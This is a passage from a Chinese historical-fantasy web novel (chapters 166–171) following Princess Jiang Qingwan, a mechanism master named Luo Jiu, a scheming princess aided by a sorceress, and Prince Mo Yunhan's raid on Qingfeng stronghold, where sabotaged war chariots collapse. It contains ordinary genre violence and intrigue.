“我不走,我是苏玉兰的婆母,她不赡养我,我就搬来县主府住,你们一个个的这么不孝顺,信不信我一头撞死这里,咱们谁也别好过。”
她说着竟真的往县主府的大门冲去。
她笃定,秦润一定会拦她,而苏玉兰也不可能真的让她在府门口受伤。
所以她冲的势头并不快,只是趴在地上半天,腿脚有点不利索,显得脚步踉踉跄跄的像是真的受不住打击要寻死。
秦润太了解自己的祖母。
撇了撇嘴,根本就没想拦。
青穗看出二人博弈,手指一弹,一道气劲朝着张氏的后背打去。
她刚好跑上石阶经过秦润的身边,还没来得及再装一下,后背就感觉到一股大力猛推,直接一头撞上了府门。
府门上扎着铁质护钉,磕的她脑袋鲜血直流,一阵眩晕后,一头栽倒在地上昏死了过去。
参了白发的发髻散落,满头是血,额头红肿。
那模样,要多凄惨有多凄惨。
周围的议论指责声此起彼伏。
更有甚者提议报官,场面瞬间失控。
江清婉拉着青穗离开了人群上了马车,二人对视一眼齐齐笑出了声。
笑过之后,青穗还是忍不住问了句。
“王妃当初离开秦家,为何不惩治那群杂碎?”
江清婉悠然的靠在车厢,笑的随意洒然。
“师门有令,修行者不可枉造杀孽。”
青穗气道,“难不成被欺负了就当什么事没发生?”
江清婉眸光清冽的瞥向她。
“在你眼中,我是这般良善之人?”
青穗噎住,一时之间不知该点头还是该摇头。
江清婉心情好,便多解释了两句。
“我收回了一些东西,与秦家已是两清,若他们不招惹到我面前,可老死不相往来。若是他们不肯,非要找死,我也不介意送他们一程。”
她说完轻轻歪了下头。
“你看,我一直都很良善。”
青穗的嘴角狠狠的抽了抽。
这时前面堵着的马车已经可以穿行,她们坐着的马车也再次动了起来。
经过县主府时,青穗又掀开了侧边的帘子看了看。
苏玉兰已经出来,还围了一圈府兵,铁青着脸将秦润骂了个狗血淋头,还扇了他一巴掌。
而张氏最终还是被抬进了县主府。
秦润只觉颜面扫地,冲着已经转身回府的苏玉兰躬身告辞,却没换来一个眼神,只得尴尬的在众人的指指点点下跑向府门外拴着的马车。
车夫是县主府的家声奴,马鞭一拦,说县主等会要用车,不能送他去太学院。
秦润气的肺都要炸了。
“我可是县主府的少爷。”
车夫躬着身,态度很恭敬,话却说的很直白。
“县主大人未曾提过。”
刚刚看热闹的人顿时哄堂大笑。
秦润气的脸绿,恨恨威胁。
“狗眼看人低的臭奴才,你给我等着。”
恰好这时,江清婉的马车从他身边路过。
半掀起的布帘让他清晰地看到了里面坐着的江清婉,心中一动,立刻跑着追了上来,将马车拦在了长街上,气喘吁吁地就要上车。
马夫坐在车辕上不肯让。
“你谁呀,你想干什么?”
秦润插着腰指着马车内道,“说话前先问问你的主子,看看我是什么人?”
他是江清婉养大的,五年的朝夕相处,他根本不信江清婉会真的不管他。
这不就跑来县主府外看他了吗?
如今他受了这般委屈,倒是可以给她一个机会安慰他,亲近他。
布帘在他的注视下被撩起。
青穗冷着一张脸问,“想死?”
秦润根本不理会,探着头往里看。
“江清婉,你看看你养的这些下人,一点规矩都不懂。我知道你担心我,惦念我,我现在人就站在这里,你还不让这些不懂事的下人让开。”
青穗从成为青穗以后,第一次迫切的想抹人脖子。
她回头。
“王妃,我杀,是不是就跟你无关了?”
江清婉轻拍了下她的肩膀,让她坐了回去,这才神色淡淡的看向秦润。
“脸上挨了一巴掌啊,疼吗?”
秦润心下越发得意。
相比于苏玉兰的骄横跋扈,江清婉更好。
而相对于县主的权势,九王府也更强。
他虽不是江清婉的亲生儿子,可江清婉待他掏心掏肺,他能得到的东西只会更多。
思及此,他抬手捂住脸,眼神透出了几分委屈。
“自然是疼,她是县主,父亲公事繁忙,将我交给她,难道我能不听吗?若是你在,我又岂会受苦。你未瞧出,我都瘦了吗?”
他知道江清婉定会心疼。
果然,听完他的倾诉,江清婉皱着眉颇为感同身受的点了点头。
“原来你过得这般辛苦啊。”
秦润心下大喜,刚要再接再厉。
江清婉却先他一步开口。
“如此,我便放心了。”
秦润愣住。
“放……放心?放心什么?”
江清婉嫌弃的瞥了他两眼。
“你命中本就无贵字,却偏要削尖了脑袋去求,自然该辛苦些,习惯就好了。”
“还有啊,以后有苦咽不下去的时候,就去京兆衙门告状,跟我说除了能让我开心一下,也没什么用。”
青穗实在憋不住,噗嗤一声笑了出来。
秦润后知后觉的发现自己被耍弄了,顿时气的破口大骂。
“你这妖妇,我是看你可怜给你机会讨好我,你还真是不识抬举。真以为自己能成王妃啊?商籍贱民就是见识短,皇家怎么可能要你这种下贱的血脉传承,等你将来被赶出来,我可是你唯一能依靠的,你确定不跪下来求我回头吗?”
青穗忍无可忍。
冲出来啪啪就是几个大嘴巴子,抽的秦润的后槽牙都掉了一颗。
“驾车,他再敢挡在前面,直接撞死,再告他当街行刺王妃,判他个满门抄斩。”
秦润双手捂着脸,吓得迅速往后退了两步。
眼睁睁看着马车绝尘而去,又不甘心又有点怂的跺了跺脚。
“早晚有一天你会来求我。”
第167章 你可得负责啊
青穗还是觉得不爽。
“真不能杀?”
江清婉倒是对那些谩骂无动于衷。
“墨云寒此刻正与秦明朗一起前往清风寨剿匪,你觉得能杀?”
青穗噎住。
“王妃睿智,是我想的不周全。”
江清婉摆了摆小手。
“能神不知鬼不觉要了他命的方法很多,与周不周全无关,这是我的孽缘,本也不该牵扯到墨云寒的身上。”
一路再无波折,马车很快停在了洛府门前。
机关木桶还在,除此之外,又多了两处机关匣,就镶嵌在门上。
就算是过了机关人偶,一旦敲门,必然会触动机关匣。
江清婉环顾四周院墙,未见其他机关暗匣,便指了个屋脊的方位。
“青穗,你飞上去看看有无一个小童,问问可是出了事?切莫落进院子里,以免触了院内机关。”
青穗点点头,脚下一点稳稳落在了江清婉所指的方位,果然看到一名小童正蹲在地上玩几个很小的机关人偶。
“小孩,我家王妃问你,洛大师可是出了什么事?”
小童头都没抬。
“不管你是王妃还是贵妃,师父闭关,不见任何人,你回去吧。”
青穗还以为自己没说清楚,又加了一句。
“我说的王妃是……”
小童不耐抬头。
“我说了,不管是谁,师父都不见,你要不怕死就硬闯,别怪我没提醒。”
他说着拿起地上的小人偶站起来摊了摊手,走到了屋檐下。
一副你有本事闯进来,就随意你的架势。
青穗实在不知墨云寒到底跟洛九怎么介绍的江清婉,明知王妃到了,怎么如此大的架子。
她飞身落回江清婉身边。
“那小童说洛大师在闭关,不见任何人,您也不行。”
她不确定该不该劝一下,以免二人之间伤了和气。
江清婉想了想。
“我还有旁的事要做,既然来了,也不能白来。”
她将图纸和几张银票递给青穗。
“丢在院子里,让小童拿给洛九,若三日内能做成,酬金可再加。”
青穗眸光微凝。
“您还用给钱?”
江清婉怔住。
“我不用给银子吗?为何?”
她忽地反应过来,指着洛九的府邸,有些忿忿,“这地方也是墨云寒的?”
前有普恒钱庄,后有淮楼,再多一个机关大师洛九,也不足为奇。
青穗的表情比她还要诧异。
“您不知道?”
据她所知,洛九早就避世,从不给旁人锻造机关武器。
“那您怎么那么理所当然的要找洛大师锻造兵器?好像只要您来,他就一定给您锻造一般?”
江清婉点着一个白嫩嫩的小手指顿觉醍醐灌顶。
“对,告诉他,三日内能做出来,图纸就归他。”
说着又从那几张银票中抽走了金额最大的一张。
“只给他材料费。”
青穗无语的看着她。
人家不知道你王妃的身份,你还信誓旦旦以为人家会给你做武器,还少给钱?
这合适吗?
江清婉却示意她照做。
青穗无奈,心道千万别被洛大师骂出来,否则将来身份解开,可有的尴尬。
她再次落在屋脊上,将画稿和银票卷在一起丢在了小童面前,并传了话。
小童瞥了一眼,连捡都不捡,完全一副懒得搭理的态度。
青穗眼波一转,短箭射出,划开了画稿上系着的绳子。
几张画稿当即打开。
小童又瞥了一眼,人立刻凑了过去,银票丢在院子里也不捡,只拿着画稿看了起来。
青穗心中大安,如此精妙的机关设计,洛大师定能答应所求。
见事已成,她刚要催促小童进去禀报。
小童已经尖叫一声门都没叩就冲了进去。
“师父,有人给了你这个,一定是那个……”
“我说了谁都不见,天王老子来了也不见,无论给了什么,老子都不看,滚滚滚,让他们都滚。”
咆哮声震耳欲聋。
青穗尴尬的杵在墙头上看向江清婉。
洛九也不知受了什么刺激,骂人的话就没有停下过。
青穗觉得,再听下去,她家良善的王妃可真的要动手了,当下落回地面,拉着江清婉往马车上走。
“我们还是先走吧。”
她一边走一边解释。
“可能洛大师心情不好,等我晚间再过来一趟问一问。”
她都已经在脑子里计算起自己存的银子够不够平息此事。
江清婉却愈发觉得出了事。
她虽只见过洛九两面,可那人,并不是如此暴戾狂躁之人。
她制止住青穗的举动,看向洛府的门口。
“拆机关吧。”
那门上的机关匣是无法正向突破的,一旦闯进去,就必然会毁掉。
所以她才会让青穗跳房顶。
青穗心中大惊。
完了完了,果然要动手了。
江清婉已经走到了木桶前,伸手正准备拆。
房门忽然从里面打开。
随着门打开的瞬间,一个疯癫无状,满头乱发,身上还冒着一股极为难为的臭味的人影直扑江清婉。
嘴里还发出一声怪叫。
青穗以为是洛九不满被打扰派出来撵人的打手,迅速上前,一把拽住江清婉后退的同时,飞起一脚狠狠踹在对方的胸口,将人踢回了院子里,哐当一声摔在了地上。
小童嗷嗷叫着冲过来跪在洛九面前大喊。
“师父,师父。”
青穗整个人如遭雷劈。
她虽崇拜洛九的本事,可从未见过。
没想到第一次见面还没来得及请教,就一脚给人踹飞了出去。
她刚刚的力道虽收着了,可也不轻啊。
洛九捂着肚子疼的脸都皱在一起,胡子拉碴比破庙里的乞丐都不如。
青穗噗通一声跪在了地上。
“是我鲁莽,请洛大师赎罪。”
江清婉也是没料到是这种局面,快步走了进去。
“青穗,去请大夫。”
青穗立刻从地上爬起来,洛九却摆了摆手。
“不用,老朽死不了。”
他说着一把攥住了江清婉的手。
那激动的神情,似乎怕她跑了一般,喊得略有些凄惨。
“姑娘,你的人伤了我,你可得负责啊。”
这话听着无比怪异。
就好像是被看了身子的美娇娘,哭唧唧的扯着郎君的袖子委屈的一再确认,“你可要娶我啊。”
江清婉被盯的浑身发毛,艰难的想抽回自己的手,奈何洛九的手劲极大。
她只好放弃。
“我答应了,你说吧,要什么?”
第168章 胜算为零
洛九也不揉肚子里,拽着她就往室内走。
那架势怎么看怎么不对。
青穗急的在后面喊,“洛大师,那可是我们九王妃,您莫要伤着。”
洛九此刻脑袋里根本没有其他,也听不见旁人的话,一门心思都在机关上。
拽着江清婉进了门,不等青穗跟进来就猛地将门踹上。
要不是青穗躲得及,鼻子都能撞上面。
她刚要再推,就被小童扯住了裙摆。
“不能进去,师父发起火来太吓人。”
青穗急道,“可是我家王妃……”
小童煞有介事的拍拍她。
“放心!我师父很满意她的。”
青穗表情呆滞。
这对吗?
她不放心的隔着门喊。
“王妃,我就在外面,您有事喊我。”
“好。”
江清婉回了一声。
此刻屋内,洛九正对着一桌子的零件喋喋不休的说着。
在一旁还放着一把未拆解的金钩弯刀。
江清婉拿起仔细看了看,再对照洛九摆放在桌子上的各个机关零件,不由皱了皱眉。
有几个地方的机关连接扣,跟他二师兄做的一模一样。
二师兄曾说过,越顶级的机关大师,在做一些顶级机关匣的时候,都会有自己的一些小习惯,是旁人学不会的。
为此他还得意显摆,这世间只有一个神机班鲁,绝没有人能模仿。
可二师兄怎么会跟大隋的人搅在一起。
她将金钩弯刀放下,伸手去拿其中一个机关连接扣。
指尖摸着上面的弧形,若有所思。
洛九急道,“此事关系重大,姑娘若帮我,无论你让我做什么,我都答应。”
江清婉没有点头,而是问了句。
“墨云寒让你破这个机关?”
洛九怔住。
“你……你知道我与王爷……”
他的脑袋终于接收到青穗之前喊的那声九王妃。
“你……你是九王妃?”
江清婉还没作何反应,洛九就噗通一声跪了下来,却不是跪江清婉,而是朝着窗户的方向。
而那边,是洛家死在大隋那场大战中所有人的坟。
“天佑大周,天佑王爷啊。”
他激动的热泪盈眶,随后又转向江清婉,那只健全的眼睛布满血丝,带着偏执的疯狂。
“大隋的机关术闻名天下,原以为那场大战已经结束,没想到大隋余孽竟能死灰复燃。还将机关术进化成诸多模式,双刀,三刀,甚至我还看到了六刀的融合,杀伤范围极广,若无法解开,对我大周威胁太大。王爷应该会很快请兵出战,还请王妃助我在王爷出征前破解此机关。”
江清婉叹了口气。
“墨云寒已经走了两日。”
“什么?”
洛九霍地站了起来,他专注研究,早忘了日升日落了多久。
“已经去剿灭叛贼了?这可如何是好?王爷定然要吃大亏的。”
他拿起一个小手指大小的铁管递给江清婉。
“你看看这个。”
江清婉接过,看到了铁管的边缘有火药残留。
“竟然把机关术和火药结合在了一起?”
洛九点头。
“我拿到的这几把刀里面全都是空的,没有火药。大周境内火药管控,我便用小铁球试了试威力,你看看那边……”
他指着不远处的一副铠甲。
“这是我设计的最新机关铠甲,护心镜用了最好的精铁,可小铁球竟然能将护心镜打成这样,这太吓人了。”
江清婉走近,果然看到铠甲内隐藏的护心镜已经凹陷进去,以这个冲击力,普通士兵即便不死也绝对重伤。
若是再加上火药,在剧烈的撞击下肯定会炸裂,根本无生还的可能。
送墨云寒出征时的不安再次袭来。
洛九在旁殷切催问,“王妃可有法子破局?”
江清婉刚刚看了。
金钩弯刀的内部机关环环相扣,绝对是顶尖的机关大师才能做到。
而且,很多痕迹都有二师兄的影子。
其中缘由她无从得知。
但是以机关对阵机关,短时间内,他们胜算几乎为零。
就算是她能做出更精密的机关武器,也不可能大批量交给士兵,无疑杯水车薪。
她没有给洛九不可能的希望。
“放弃吧,这局,破不了。”
洛九愣住,片刻后整个人却激动起来。
“破不了?你还没尝试怎知破不了?你知不知道,在战场上,武器的碾压会死多少人?”
他气愤的冲到窗台,一把推开木窗,指着外面林立的墓碑,声音喊得越来越大。
“你看看,埋在这里的就是我们大周机关营最精锐的战士,他们胸怀热血,一心为国,可是他们打不过大隋的机关,在武器的压制下,只能死,你懂吗?只能死!”
听见动静的青穗紧张的冲了进来。
看着剑拔弩张的气氛,快步来到了江清婉身边。
她虽敬重洛九,可眼前的老者,实在是太吓人。
江清婉看着坟茔上萦绕着不散的死气,轻叹了一口气。
“他们去清风寨了,你收拾一下,今晚,我们出城。”
洛九激动的神情凝在脸上。
“你……你要去战场?那……那我准备些什么?”
他慌乱的在屋子里打转,像个无头苍蝇。
江清婉道,“就拿个工具箱吧,就算你能在今天做出最厉害的机关武器,难不成还能一夫当关吗?洗个澡,准备点吃食,等我来接你。”
她说完转身走了。
青穗赶紧冲着洛九拱手行了个礼,这才追了出去。
等出了院门她急忙问道,“王妃,您要去清风寨?带多少人去?暗卫营里现在调不出人手,王府的府兵倒是可以。”
江清婉摇头。
“咱们偷偷走,不带侍卫。”
“不带?”青穗皱眉,“昨夜护着您的那个高手跟着吗?”
江清婉想了想。
赤森是太上皇的人,护着她的原因一定是九龙阵。
不过,她并不相信那老头。
她总觉得好多事都是那老头在幕后推动。
“不管他,咱们去清风寨这事越少人知道越好。先不着急回府,去趟淮楼。”
……
王府,
风雅筑内,
云筱然已经将自己搓洗了三遍,依旧觉得恶心。
这时李嬷嬷从屏风外走了进来。
“县主……”
“滚出去!”云筱然恨的咬牙切齿,“不中用的狗东西,连人都看不住,竟然让那腌臜的贱种爬上了我的床,占了我的身子,我真想连你也一并刮了。”
等她骂痛快了,李嬷嬷才躬身道,“太后派了人过来,已在厅内候着,是位天师。”
第169章 帮手
风雅筑的正厅内,
云筱然扶着李嬷嬷的手坐在主位上,看着几步外站着的女人。
宫里姑姑打扮,年岁已经不小了,那双眼睛锐利的如刀一般。
和这府里的丫鬟下人截然不同。
云筱然靠在椅背上,身上的不适让她的情绪依旧很暴躁。
“叫什么名字?”
“木真!”
“太后让你来这里做什么?”
“太后娘娘担心县主在府中孤苦无依,让我前来相助,铲除江氏,挽回九王爷的心,保县主一世富贵。”
木真说着抬起头。
“但有一点,我不做奴才,若县主应允,我便留下,若县主不允,我即刻离开。”
云筱然上下打量着她。
“既然你是太后祖母推荐的人,应有些真本事,若是想糊弄本县主,本县主定会……”
木真微微颔首。
“县主还是先让下人去准备一碗避子汤吧。”
云筱然大吃一惊,猛地坐了起来,又因为腰间酸软疼的五官都有些扭曲。
“你……你胡说什么?”
木真抬手指了指自己的腹部。
“县主此处已有孕气凝聚,若不喝避子汤,必会珠胎暗结,后患无穷。”
李嬷嬷急忙想去准备,却被云筱然叫住。
她眼神阴毒的看着木真。
“你要是敢说出去,我有一百种方法弄死你。”
木真微微躬身。
“我既投奔县主,便是县主的人,自会为县主扫清一切障碍,您平步青云,我才能更好。我们……是一根绳上的蚂蚱。”
这话,云筱然很受用。
她缓缓抚上小腹,虽恶心,却又莫名兴奋。
“若我要这个孩子,成为九王府的嫡长子,你可有法子?”
李嬷嬷噗通跪在地上。
“县主,混淆皇室血脉,可是诛九族的大罪。”
云筱然怒极,一脚踹在她脸上。
“谁告诉你本县主要生下他?我要这个孩子最终胎死腹中,更要江清婉那个贱人为这个孩子偿命!”
木真看着云筱然眼底闪过的戾气,缓缓勾起唇角。
“可以!不过此事要等九王爷回京再做打算,不可操之过急,在此之前,县主切忌轻举妄动。”
云筱然不耐的撇撇嘴。
“这还用你提醒。但惩治江清婉,刻不容缓。”
木真却再次摇头。
“此事我自有计划,以九王的脾气,杀江清婉的手,绝不能查到您的头上,如此,才可扭转局势。”
这一点,云筱然没反驳。
木真眼珠子转了转,俯身问道,“昨夜那男人,可还活着?”
提到昨晚,云筱然就犯恶心。
“割了舌头,断了手脚,命根子也被我剪了,我要让他尝尽所有酷刑扒皮抽筋后再送他归西。”
她越邪性,木真听着就越欣赏。
“将此人交给我吧,我有更好的办法。”
她说着从怀里摸出一个瓷瓶拱手递了过去。
“此丹丸服用十日,可令女子的身体与完璧无疑。十日后,九王也该回来了。”
云筱然大喜,立刻接过打开闻了闻,果然药香沁人心脾,一看就不是凡品。
“李嬷嬷,带她去见那个废人,莫要让他再出现在我眼前。”
木真躬身行礼,捕捉痕迹的看了眼云筱然的腹部,眼底闪过一抹诡异的黑,好像有一瞬间,将眼白都给吞噬掉了。
真是天赐的鬼婴材料,用亲生父亲献祭喂养,待成功出世,即刻杀人于无形。
破旧的柴房内,
王铁柱瘫在一个大瓮里,血腥味被土腥味掩盖,并不浓烈。
李嬷嬷不敢进,领到了位置就走了。
柴房在风雅筑最破旧的小院里,木真叫住李嬷嬷。
“我以后就住在这里,不需要丫鬟小厮,一日三餐按时放在门口即可。以后这里,不许外人进来。”
能成为天师的人,多半都有些古怪的规矩。
此人又是太后派来的,李嬷嬷自然不会多想,应下后转身去吩咐人入内清扫,送日常用具。
木真将柴房的门关上,这才重新看向装着王铁柱的大瓮。
眼底的兴奋越发的强烈。
“你竟然中了符纸的反噬,又被砍掉了命根子锁住了欲念,真是不用我费力淬炼,便是绝佳的滋养品。看来,是那江氏在这风雅筑里做了局,倒是真有些本事。”
……
临近傍晚,江清婉才回了王府,却并未去后院,而是去了舒雅院见宋玉书。
两个人在里面聊了好一会儿,还一起吃了饭喝了酒。
后厨张罗了不少人前去上菜,还当场烤了两只鸡,热闹到天彻底黑了下来。
玉英叫来了莲儿和李斗,说是王妃醉酒,宿在舒雅院,叫他们前去伺候。
赶在宵禁之前,一辆走货的车队,经过检查出了城门。
一路疾驰停在了郊外一处无人的树林。
停了没多久,又来了两辆马车前来汇合。
一辆坐着洛九和一堆工具箱,另一辆坐着青穗、莲儿和李斗三人,还有瘫在莲儿怀里啃着鸡腿的小红。
驾车的都是苏柳儿的心腹,淮楼的探子。
此刻苏柳儿一身男子装扮,英姿不凡。
“此去路途不近,我们中途不进驿站,一路疾驰,诸位若有不适,车队里备了药,尽管与我说。”
青穗起身要下车。
“我去陪王妃。”
莲儿也嚷嚷要去,却被苏柳儿拦下。
那边洛九也有些急。
“我去给王妃坐一辆,我还有一堆问题要问。”
众人齐刷刷看向他。
洛九已经洗过澡换过衣服,头发也梳的平整,倒有几分世外高人的气韵。
“你们瞧着我作甚?这次机关破局,还要指望着王妃,必须利用一切能利用的时间。”
他说着抱着一个工具箱就准备往下跳。
苏柳儿扶额。
她已知晓洛九身份,态度自然恭敬
“老先生,您精力充沛,可王妃饮了酒刚刚一路颠簸过来,已经睡了,您一个男子,不合适吧?”
洛九瞬时涨红了脸,嘟嘟囔囔又坐了回去。
“你也没说她睡了啊。”
随即又有些不满。
“王爷如今身陷困境,她竟然还有心情饮酒,还能安心入睡?”
苏柳儿抿了抿唇没有再说什么转身回了前面的马车。
车队在黑夜中朝着清风寨的方向疾驰而去。
第170章 战车毁
清风寨,背靠大山,却并不全数建在山中,而是三面围了高高的城墙,挂了寨旗,看上去更像个小一点的城池。
此刻,清风寨十里外的山坡上。
众将士已经安营扎寨。
山坡高处,夜七将水袋递过去,低声道,“王爷,昨夜您的腿又疼了,咱们不能在此处耽搁太久,需速战速决。”
墨云寒后背的伤已经好了七七八八,脸色并无异常,冷厉的眸子看向清风寨的方向,若有所思。
这时,王昊快步走了过来,躬身行礼。
“王爷,已探查清楚清风寨周边军情,岗哨位置,随时可以强攻。”
他们带的都是精锐,虽说清风寨内可能藏匿着大隋余孽,或有机关暗器,但他们同样配备了最新的机关铠甲和各类武器,万无一失。
夜七附和。
“王爷,属下愿做先锋官。”
王昊曾经跟着墨云寒打过仗,自然认得夜七。
闻言伸手拍在他肩膀上。
“先锋官还轮不到你,我被调去巡防营多年,这手痒的很,如今好不容易能再随王爷征战,谁也别跟我抢。”
说着他又忍不住吐槽。
“王爷,皇上到底是怎么想的,咱们来杀敌带着姓秦的做什么?这一路上叫了六趟军医,这会儿还窝在营帐里,不知道的还以为他坐月子。”
夜七也很是不爽。
“人家现在是功臣,舍命救了太后娘娘,谁敢说他。跟着过来能为什么?不就是要占一份功劳好升官吗?奶奶个熊,等会混战的时候丢他下去,让人砍死算了。”
王昊嘿嘿笑着竖起根大拇指。
“这招行。”
这时不远处的营帐前,秦明朗竟然走了出来。
用帕子捂着嘴,虽穿着铠甲,却哪里有半点将军的风采,苍白着脸冲这边喊。
“王爷,可否入账一叙。”
夜七和王昊齐齐翻了个白眼。
墨云寒将望远镜塞入袖中,“去看看他要做什么?”
入账内,意外的看到桌子上摆着临时的沙盘。
秦明朗态度恭敬谦卑,还请了两个随队的副将。
“不瞒各位,我以前做百夫长的时候,曾在这附近办过公差,虽未曾进入过清风寨,可多少有些了解。”
“安营之后,我遣了几人去附近打听,再加上我这么多年行军打仗的经验,约莫估算出清风寨内的大体格局。请王爷过目。”
他指着沙盘讲的极为细致。
讲完又因为气息不稳捂着帕子连连咳嗽了几声。
“王爷,下官原以为伤势不重,可这一路赶来,却是反反复复,一直烧着,是我连累诸位,只能尽己所能做些事情。”
他这番姿态,倒是弄的众人面面相觑。
王昊是个直肠子,虽觉意外,却仍不喜他,指着沙盘道,“若你所料有三分是真,对我们此番强攻入寨自是大有裨益。可若是你敢糊弄,等回京以后,我定会带人参你一本。”
秦明朗竟冲着王昊拱手一礼。
“若能助力各位拿下清风寨完成皇上交代的任务,与我也有益处,王将军何故怀疑?”
这话堵得王昊哑然。
秦明朗又转向墨云寒。
“王爷以为,攻还是不攻?”
众人齐齐看向墨云寒。
见他抿着唇不语,其中一人道,“王爷,就算里面藏兵比秦将军预想的多一倍,咱们武器装备齐全,定然也能拿下。若再等,引得清风寨内提前防御,反倒是对我们不利。”
王昊也点点头。
“王爷,攻吧!”
墨云寒最终同意。
以王昊为首发起正面强攻,利用最新型的战车破门入内。
夜七带一队,另外两个副将各带一队。
三面围攻,一队殿后谨防爆炒。
因机关铠甲数额有限,此次强攻,各队分五十人,其余士兵随墨云寒,在先锋军破局以后,全力碾压占领清风寨。
对此,众人无异议。
号角声起。
王昊一行人,直捣黄龙,冲过暗哨,砍瓜切菜般顺利。
可就在战车攻城门的时候,第一次撞击之下,战车竟成分崩离析之态。
机关暗扣呼啦啦散了一地。
这让攻城的士兵都愣在当场。
城门上本已慌了神成溃败之势的守卫立刻反应过来,举起弓箭疯狂射击。
推着战车攻城的士兵瞬间全歼,王昊这一队的整个气势都在这突如其来的变故下散了。
好在王昊也曾身经百战,很快回神,怒喝一声道,“防御!”
手持盾牌的几人齐齐挡在前面,掩护后退。
整个队伍都乱了。
王昊气的咬牙。
好在这时两侧以天梯攻城墙的小队得到了突破。
倒是没费多大力气,就从里面将城门打开。
王昊推开挡在前面的盾牌大喝一声,“冲!”
率先举着长枪杀了进去。
等四个小队全部在城内汇合,却都是面面相觑。
整个寨子住着的都是些普通老百姓,全都惊慌失措的跪在地上,菜篮子,鸡蛋筐,豆腐摊……一片狼藉。
墨云寒也带着人进来。
看着周围的情景脸色绷的很紧。
“全城搜寻,不要落单。”
夜七等人齐齐应下,很快带着人四散而去。
留下来的人打扫战场,重新关闭了城门。
不多时,十几具尸体都并排摆放在街上。
两辆散架的战车残骸也被收拾到尸体的一旁。
有人高声汇报。
“王爷,秦将军,敌方守卫全歼,无一人存活。我方战死14人。”
秦明朗指着战车残害怒喝,“这到底怎么回事?好好的战车为什么会弄成这个样子?只是撞击了一下就散了架,害死了这么多兄弟,兵部下发时都不曾检查过吗?这可都是活生生的人命啊!”
墨云寒已经走过去查看。
一旁汇报的士兵道,“这战车在巡防营内一直看管得很严密,不可能有问题的,而且我们还演练过,攻击防御都是绝佳,这怎么推出来行军不过百里,撞击了一次城门就便散了啊。”
周围士兵也都议论纷纷。
“会不会是建造有问题?”
“还不如咱们之前的战车,虽然没那么多功能,但是耐用,被说是百里行军,就是去边境,也不在话下。”
“这东西号称能保护我们,结果反倒是折了这么多人命!”
“小声些,这战车可是王爷亲自设计的图稿所建!”
秦明朗眼中闪过得意,却故意痛心疾首道,“我相信王爷的图纸绝不会有问题,难道是有人在途中动了手脚,还是兵部督建疏漏,待我回京,定要上书皇上,彻查此事,还这些死去的兄弟一个公道!”
第171章 杀错了人
散落的机关战车看不出任何认为破坏的痕迹。
而且对于机关术,墨云寒知道的并不多。
可他绝不相信,洛九的图有任何问题,兵部也绝不可能敢在这种事上动手脚。
他缓缓站起。
“就按秦将军所言,将所有零件全部装箱封存,等回京后叫起牵涉其中的所有人,入昭阳殿对峙。”
众士兵见他坦然,再加上他战神的威慑,不再多疑,齐声应下。
秦明朗眸光闪了闪,没再说什么。
这时一个老者拄着拐杖颤巍巍过来。
“你……你是领头的吧?”
秦明朗冷斥。
“大胆,这是当朝九王爷,奉命来攻城的。拿你们土匪头子的称谓胡言,小心自己的脑袋!”
周围百姓越发诚惶诚恐。
老者敲着拐杖争辩。
“你们为何要攻城,我们犯了什么罪?就算是大周的王爷,也不能不讲道理!”
有士兵想上前将人拿下。
墨云寒却抬手制止。
“老人家,你是什么人?”
老者衣袍干净,看上去像个老秀才。
闻言拱了拱手。
“我是这里的街长。看你也像个明事理的人,你为什么要带兵攻打我们,还杀了城中守卫?”
墨云寒打量着他。
此人无论神态还是言语,都不像说谎。
他想了想,从怀中拿出画着金钩弯刀的图纸展开。
“老人家,你可在城中见到过此物?”
老者上前细看,随后摇了摇头。
“不曾见过。”
他随即又招呼周围的百姓来认,皆是摇头不知。
墨云寒听他们的气息,观他们的步法,都不是会武功之人。
的确就是普通的百姓。
可墨云昭大费周章地让他带兵出京围剿,岂会给这样错误的信息?
就算是另有所图,至少表面功夫要做,给他一个真正的土匪窝,也好过现在。
他将图纸收好。
“老人家,城中可有铁匠铺子?”
老者见他态度极好,立刻点头。
“有,有三家,手艺最好的是城东张铁匠家。”
“劳烦带我去看看。”
墨云寒说完看向秦明朗,“秦将军在此守候,不准任何人出城,也不准伤害城中百姓。”
秦明朗想跟着去。
“王爷,下官陪您一起吧。”
墨云寒淡淡瞥了他一眼,
“秦将军伤势未愈,还是休息吧。”
老者带着墨云寒往东城走,一路上,墨云寒语气温和,聊了些家常,又观察着周围街道,并无任何异常。
从老者的口中得知,这清风寨以前就是个普通的寨子,后来因遭了一次土匪,被洗劫了不少财宝,还死了人。
寨子里的百姓商议后自发盖起了城墙,渐渐成了现在的清风寨。
寨子里住着的多为本土人,也有些身世凄苦无家可归的流民。
这里民风简朴,自给自足,虽受制于当地县衙,但每年街长都会按时送孝敬的银子上去,寨子里的人又嫌少外出招惹是非,不会给县衙增加负担,县令自然满意。
等到了城东的铁匠铺,却发现门上挂了歇业的木牌子。
上了锁,张铁匠并不在家。
老者一脸懵。
“张铁匠莫不是出城去做工了?”
隔着窗户,墨云寒看到里面锻造的工具都在,炉火都还没有灭。
上面还扔着一块锻造了一般的铁片。
显然,张铁匠走得极为匆忙。
墨云寒看向老者。
“寨子除了城门可还有别的出去的路?”
老者摇头。
“那没有,当初我们建城墙就是为了保护自己,不可能留那么多门。再说了,若是有门,你们攻城的时候,我们肯定逃了。”
墨云寒冷道,“既是为保护自己,又曾遭了土匪洗劫,建造城墙的时候却连条后路都不留?”
老者的眼神有些不自在,下意识的看向了后山方向。
却又立刻收回眼神,粗声解释,“现在不同以往,现在这里有衙门,我们寨子里也培养了护卫守着大门,土匪不敢轻易来的。”
墨云寒没有再问他,抬脚猛地踹开了铁匠家的门走了进去。
老者急的跺脚。
“你是王爷,怎么能干土匪干的事情,私闯民宅啊,你这样……你这样可是要引起民愤的啊!”
墨云寒懒得理他。
进去以后检查了一圈,却并没有找到金钩弯刀的线索,只翻出了一些机巧零件,不知作何用的。
他各种装了一个后看向老者。
“朝廷收到密函,清风寨内私藏逆贼,屯兵过百,此事未查清楚之前,我们要在寨子里住下,并接管寨子中的一切,劳烦街长给找个大些的宅院。”
老者虽有些不情愿,却也没有拒绝。
“寨子里有个议事堂,是村民平时议事的地方,宅子够大,但是能住人的房间却不够多,你们这么多兵,估计住不下。”
“不妨事。”
墨云寒回了句。
二人折返回城门处,夜七等人也已经回来。
墨云寒看向众人,“可有踪迹?”
众人皆是摇头。
王昊忍不住骂了声,“奶奶的,这就是个普通的寨子,皇上是从哪里得来的消息?”
另外两个副将却是一脸担忧。
“如果这里没有逆贼,那我们岂不是杀错了人?”
秦明朗指了指不远处摆放的尸体。
“不止,我们还因为战车事故,死了十四个精锐士兵,此事……责任大了。”
